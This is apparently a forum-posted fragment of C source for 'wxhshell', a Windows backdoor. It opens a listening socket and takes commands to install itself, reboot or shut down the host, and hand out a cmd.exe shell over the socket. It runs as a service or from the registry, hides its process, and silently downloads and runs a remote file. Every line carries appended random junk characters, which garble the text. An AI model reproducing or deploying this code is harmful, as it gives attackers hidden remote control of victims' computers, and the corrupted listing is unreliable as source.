  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N==Y]Z$G  
  } R'h.lX  
  else { Y >U_l:_^  
:F?L,I,K  
    switch(cmd[0]) { @}hdMVi  
  I?KGb:]|  
  // 帮助 ah15 ,<j  
  case '?': { 1U8/.x|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1a'0cSH  
    break; 2I0Zr;\f  
  } 3W55 m@w  
  // 安装 a+P^?N  
  case 'i': { O{wt0 \P  
    if(Install()) 'h`)6{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H+ 7Fw'u  
    else c:`CL<xzU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gS.,V!#t  
    break; ? ;$f"Wl  
    } MmD1@fW32#  
  // 卸载 rl:D>t(:.  
  case 'r': { eI=:z/pd  
    if(Uninstall()) (RI+4V1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A(ZtA[G  
    else ;oVFcZSA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @'JA3V}  
    break; >5j&Q#Bu  
    } yu$xQ~ o  
  // 显示 wxhshell 所在路径 B\6%.R  
  case 'p': { n*A"}i`ix  
    char svExeFile[MAX_PATH]; b:W x[+  
    strcpy(svExeFile,"\n\r"); d5qGTT ~a  
      strcat(svExeFile,ExeFile); ?d@zTAI  
        send(wsh,svExeFile,strlen(svExeFile),0); %VwkYAgA  
    break; 6:AZZF1  
    } O.$OLK;v  
  // 重启 |J&=h|-A  
  case 'b': { <4jqF 4 W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W|V9:A  
    if(Boot(REBOOT)) h]p$r`i7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4/ Xu,pT  
    else { Z^%aXaf8  
    closesocket(wsh); ]ujXPK=t  
    ExitThread(0); NJPp6RZ%  
    } P/T`q:<H   
    break; 3/EJ^C  
    } SVqKG+{My  
  // 关机 eOs4c`  
  case 'd': { }/}eZCaG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y:,m(P  
    if(Boot(SHUTDOWN))  u'qc=5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jl,>0 MA  
    else { YguY5z  
    closesocket(wsh); k1Sr7|  
    ExitThread(0); {1[f9uPS  
    } zQx6r .  
    break; }W5~89"  
    } 8eD/9PD=F  
  // 获取shell 1|oE3  
  case 's': { Q=F^Y f  
    CmdShell(wsh); iB3C.wd-  
    closesocket(wsh); 6(V"xjK  
    ExitThread(0); )* Rr5l /l  
    break; </23*n]  
  } yIqRSqM  
  // 退出 yI.hN  
  case 'x': { Nuc2CB)J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o~ReeZ7)Zg  
    CloseIt(wsh); o3a%u(   
    break; a_k~z3wG  
    } -\V;Gw8mD  
  // 离开 Zxn>]Z_  
  case 'q': { 7nk3^$|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j:xm>X'  
    closesocket(wsh); t9[%o=N~lD  
    WSACleanup(); \_AoG8B  
    exit(1); 0oo*F  
    break; dW#?{n-H<  
        } =[IKwmCX  
  } -'RD%_  
  } \ bv JZ_  
]h}O&K/  
  // 提示信息 hpz DQ6-Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 D!$x+|  
} eNFZD1mS  
  } qHC/)M#L  
!&5B&w{u~!  
  return; Tu-I".d+  
} Wo<kKkx2  
:0(:}V3z\  
// shell模块句柄 b0yNc:  
int CmdShell(SOCKET sock) 1'SpJL1u~  
{ )C%S`d<%,  
STARTUPINFO si; tq2Ti Xo%  
ZeroMemory(&si,sizeof(si)); -59;Zn/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !-s6B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uEDvdd#V.  
PROCESS_INFORMATION ProcessInfo; l8RKwECdPn  
char cmdline[]="cmd"; I0(nRu<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VpWpC&  
  return 0; `&g1`vg  
} Cp^%;(@  
iK9#{1BpML  
// 自身启动模式 og8"#%  
int StartFromService(void) +3o 4KB}  
{ !l~3K(&4  
typedef struct i 2n66d  
{ `bcCj~j  
  DWORD ExitStatus; 'T*h0xX  
  DWORD PebBaseAddress; ~0Xx]  
  DWORD AffinityMask; zmh5x{US1  
  DWORD BasePriority; },vVc/  
  ULONG UniqueProcessId; P*9L3R*=N  
  ULONG InheritedFromUniqueProcessId; #4ii!ev  
}   PROCESS_BASIC_INFORMATION; QS2~}{v  
#5mnSky+s  
PROCNTQSIP NtQueryInformationProcess; A?Gk8  
S")*~)N@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wj\< )cH]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *;<>@*  
{iq)[)n  
  HANDLE             hProcess; o Np4> 7Lk  
  PROCESS_BASIC_INFORMATION pbi; meR5E?Fm  
E]%&)3O[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fg~9{1B  
  if(NULL == hInst ) return 0; q%c"`u/v/  
X1\ao[t<;c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GM>Ms!Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R4[dh.lf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #{suH7  
H"%SzU  
  if (!NtQueryInformationProcess) return 0; ~6Df~uN  
=.f<"P51k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cK H By  
  if(!hProcess) return 0; 6 +x>g  
.DZ8kKY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y2NVx!?n  
Dp" xO<PE2  
  CloseHandle(hProcess); eHH qm^1z  
(vr v-4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6;hZHe'W  
if(hProcess==NULL) return 0; R*z:+p}oHy  
zqAp7:  
HMODULE hMod; ~Is-^k)y  
char procName[255]; S9@)4|3C|p  
unsigned long cbNeeded; h,)UB1  
n%}Vd `c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _,5)  
?)'+l   
  CloseHandle(hProcess); HLp'^  
S`Wau/7t  
if(strstr(procName,"services")) return 1; // 以服务启动 50^T \u  
-MT.qhx  
  return 0; // 注册表启动 \[;Qqn0  
} ]^?V8*zL]  
t/0h)mL}  
// 主模块 i 79;;9M  
int StartWxhshell(LPSTR lpCmdLine) 8WL*Pr 1I  
{ ,?Nc\Q<:  
  SOCKET wsl; %[7<GcWl  
BOOL val=TRUE; c;1Xu1  
  int port=0; )Qx&m}  
  struct sockaddr_in door; X1; ljX  
?&GV~DYxA  
  if(wscfg.ws_autoins) Install(); f1}b;JJTsv  
#\r5Q>  
port=atoi(lpCmdLine); XoqmT/P  
?^W`7HF%0  
if(port<=0) port=wscfg.ws_port; yZDS>7H  
xlU:&=|  
  WSADATA data; gCc::[}\Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FV W&)-I  
S#l6=zI7^R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0xe*\CAo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lpHz*NZ0  
  door.sin_family = AF_INET; u &s>UkR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GK-__Y.  
  door.sin_port = htons(port); b_xGCBC  
/ |z_z%=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )A H)*Mg  
closesocket(wsl); r2;)VS  
return 1;  MuCnBx  
} cp g+-Zf%  
+^v]d_~w_  
  if(listen(wsl,2) == INVALID_SOCKET) { H@!kgaNF  
closesocket(wsl); o 9]2  
return 1; &[iunJv:eq  
} YR} P;  
  Wxhshell(wsl); @&LtIN#  
  WSACleanup(); %44Z7  
biw2 f~V  
return 0; g_F-PT>($  
+axpIjI'  
} ;fnE"}  
"=ogO/_Q"  
// 以NT服务方式启动 li~#6$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) { WW!P,w  
{ 3D/<R|p  
DWORD   status = 0; FR9*WI   
  DWORD   specificError = 0xfffffff; ww(.   
<>  |/U`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {u,yX@F4l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zn9ecN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T)"LuC#C  
  serviceStatus.dwWin32ExitCode     = 0; mbh;oX+  
  serviceStatus.dwServiceSpecificExitCode = 0; o$,Dh?l  
  serviceStatus.dwCheckPoint       = 0; K{#1O=Gi  
  serviceStatus.dwWaitHint       = 0; I3$/ #  
C~#ndl Ij  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C=|X]"*:u0  
  if (hServiceStatusHandle==0) return; H[KTM'n  
q"sD>Yh&  
status = GetLastError(); BavGirCp  
  if (status!=NO_ERROR) {s/u [T_D2  
{ Gv uX"J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -3 2?]LN}  
    serviceStatus.dwCheckPoint       = 0; 3om4q2R  
    serviceStatus.dwWaitHint       = 0; iS%md  
    serviceStatus.dwWin32ExitCode     = status; b`Agb <x"  
    serviceStatus.dwServiceSpecificExitCode = specificError; /,cyp .  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AD/7k3:  
    return; E5U{.45  
  } )@OKL0t  
'z.: e+Q_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8rwXbYx x  
  serviceStatus.dwCheckPoint       = 0; @+`">a8} ,  
  serviceStatus.dwWaitHint       = 0; \C(dWs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5? rR'0  
} 3"XS#~l%  
",&c"r4c  
// 处理NT服务事件,比如:启动、停止 A(<"oAe|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AJ`R2 $  
{ |?KdQeL  
switch(fdwControl) 540,A,>:tb  
{ | N/Wu9w$  
case SERVICE_CONTROL_STOP: hd E?%A  
  serviceStatus.dwWin32ExitCode = 0; :n t\uwh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g9$P J:  
  serviceStatus.dwCheckPoint   = 0; hy?e?^  
  serviceStatus.dwWaitHint     = 0; e//q`?ys  
  { E:C-k^/[Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lq%6~va  
  } gvx {;e  
  return; _g#v*7o2@  
case SERVICE_CONTROL_PAUSE: ~^u#Q\KE"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JIobs*e0m  
  break; |Q _]+[  
case SERVICE_CONTROL_CONTINUE: HECZZnM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V%c1+h<  
  break; xf?6_=  
case SERVICE_CONTROL_INTERROGATE: t:h~p-&QB  
  break; MJ+]\(  
}; ,9:0T LLR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `p. O  
} k}o*=s>M  
jdF~0#vH  
// 标准应用程序主函数 ~>( N<:N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8a SH0dX  
{ T)QT_ST.9  
i[wEH1jR  
// 获取操作系统版本 ;.g <u  
OsIsNt=GetOsVer(); p*^[ ~}N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F;&a=R!.  
`vijd(a?v  
  // 从命令行安装 ~Ue t)y<  
  if(strpbrk(lpCmdLine,"iI")) Install(); oy) 'wb~  
a.5^zq7#!  
  // 下载执行文件 ZTwCFn  
if(wscfg.ws_downexe) { NpIx\\d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q41eYzAi  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nhm)bdv]  
} YdI&OzaroE  
qU) pBA  
if(!OsIsNt) { Q ]u*Oels  
// 如果时win9x,隐藏进程并且设置为注册表启动 #ir~v>J||  
HideProc(); 0R0j7\{  
StartWxhshell(lpCmdLine); v'QmuMWF  
} JTxHM?/G  
else Td`0;R'<}c  
  if(StartFromService()) dGrm1w  
  // 以服务方式启动 [MkXQwY  
  StartServiceCtrlDispatcher(DispatchTable); HP /@ _qk  
else [7:(e/&  
  // 普通方式启动 F9SkEf]99  
  StartWxhshell(lpCmdLine); mJ3|UClPS  
<CJ`A5N  
return 0; sBo|e]m#  
}
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只看该作者 1 发表于: 2006-10-10
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